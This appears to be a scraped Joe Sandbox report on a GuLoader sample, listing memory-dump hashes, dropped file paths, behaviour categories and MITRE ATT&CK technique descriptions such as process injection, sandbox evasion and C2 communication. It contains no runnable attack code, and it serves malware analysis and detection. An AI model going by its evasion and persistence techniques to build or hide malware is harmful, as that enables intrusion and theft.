Source File: 00000013.00000002.2824586189.0000000004D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4d00000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3459e2131d5e4456286b4f24b3501fd21584d0456803fc12c429f14d122688c
Instruction ID: e4c432856e59e01267098d7deae4ffd32e8f0e85b9cb5c017836df2ec99320e4
Opcode Fuzzy Hash: c3459e2131d5e4456286b4f24b3501fd21584d0456803fc12c429f14d122688c
Instruction Fuzzy Hash: 86118E3A7041409FC705EBBDD854E6E7BE3EB897107248469D806CB3A6DE31DC4ACBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00E605DF Relevance: .0, Instructions: 42
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000013.00000002.2823883157.0000000000E60000.00000040.00000020.00020000.00000000.sdmp, Offset: 00E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_e60000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71bc3c26701777edf2e50c7d6ba34476fe7aa6e32dbd7a553ffd6bc3f5d2782e
Instruction ID: b65382e8b2206e8e862ea3031d683a525239340cf76c3108217069b781ffd19a
Opcode Fuzzy Hash: 71bc3c26701777edf2e50c7d6ba34476fe7aa6e32dbd7a553ffd6bc3f5d2782e
Instruction Fuzzy Hash: 18F0F9B650D7806FC701CF06AC41893FFE8DF8623070984ABFC898B612C165B948CBB6

Uniqueness

Uniqueness Score: -1.00%

Function 04D00230 Relevance: .0, Instructions: 42
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000013.00000002.2824586189.0000000004D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4d00000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7210164006fa7e0a64573b0e3e5f86182381fd4a506c5ca56caa89fe8159147c
Instruction ID: 1afe18e47015dae81a5707b2d4c7d37c2b0f81d7264cd00134a688fbb1179db2
Opcode Fuzzy Hash: 7210164006fa7e0a64573b0e3e5f86182381fd4a506c5ca56caa89fe8159147c
Instruction Fuzzy Hash: FA01A771A00114EFCB54DFB5EC0866E7BB5FB44311B108529E41AE31A0EB309A45DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00E60606 Relevance: .0, Instructions: 27
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000013.00000002.2823883157.0000000000E60000.00000040.00000020.00020000.00000000.sdmp, Offset: 00E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_e60000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6b733586833d3d669458d6d3b2c33d7b71fe9c91fb1ffb12154d906e720d0d2
Instruction ID: 7ad78b1d8b0353ac72aa761fb73f47d2ba4a14dec7fd2d84d1f53641c0753eb1
Opcode Fuzzy Hash: c6b733586833d3d669458d6d3b2c33d7b71fe9c91fb1ffb12154d906e720d0d2
Instruction Fuzzy Hash: BEE06DB66046009B9650CF0AEC82452F7D8EB84630708C06BDC0D8B700D675B5488AA6

Uniqueness

Uniqueness Score: -1.00%

Function 00E523F4 Relevance: .0, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000013.00000002.2823836771.0000000000E52000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E52000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_e52000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 664ff1550c8008cc28551a451399971d6655fd74022966b5d04e648160d0a58a
Instruction ID: 1db84f967352af094cba01f64c28fafee46ba84b172c42588927d372eae315d0
Opcode Fuzzy Hash: 664ff1550c8008cc28551a451399971d6655fd74022966b5d04e648160d0a58a
Instruction Fuzzy Hash: 5ED05E792057814FD3169A1CC5A4B9537D4AB52B19F4A48FDEC008B673C768D9C5E600

Uniqueness

Uniqueness Score: -1.00%

Function 00E523BC Relevance: .0, Instructions: 14
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000013.00000002.2823836771.0000000000E52000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E52000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_e52000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f64f76859397c9a3484aafdc91285ac0595eab46d35f83dc16c7dbc03f8f5f4
Instruction ID: a87986c84cfdf03322d9cf5e3834c81c69766122114899b66f78c39f41cc9423
Opcode Fuzzy Hash: 3f64f76859397c9a3484aafdc91285ac0595eab46d35f83dc16c7dbc03f8f5f4
Instruction Fuzzy Hash: 18D05E342002824BD725DB0CC694F5933D4AB45715F0648ECAC008B262C7B8DCC4DA00

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report QT_0948765446-NMPMUST-9876563783.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: GuLoader

Yara Signatures

Memory Dumps

Sigma Signatures

AV Detection

E-Banking Fraud

Stealing of Sensitive Information

Remote Access Functionality

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v2.0_32\UsageLogs\caspol.exe.log

C:\Users\user\AppData\Local\Temp\ArtDeco_green_22.bmp

C:\Users\user\AppData\Local\Temp\Tagselvbordet6\qindarka.exe

C:\Users\user\AppData\Local\Temp\applications-engineering.png

C:\Users\user\AppData\Local\Temp\document-print-preview-symbolic.symbolic.png

C:\Users\user\AppData\Local\Temp\flugters.GLA

C:\Users\user\AppData\Local\Temp\libpixbufloader-tiff.dll

C:\Users\user\AppData\Local\Temp\library.dll

C:\Users\user\AppData\Local\Temp\mail-attachment-symbolic.symbolic.png

C:\Users\user\AppData\Local\Temp\mail-forward.png

C:\Users\user\AppData\Local\Temp\mail-reply-all-symbolic.symbolic.png

Windows Analysis Report
QT_0948765446-NMPMUST-9876563783.exe

Function 00403640 Relevance: 89.7, APIs: 33, Strings: 18, Instructions: 450
stringfilecomCOMMON

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.
Tactics:	Impact
Data Sources:	Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre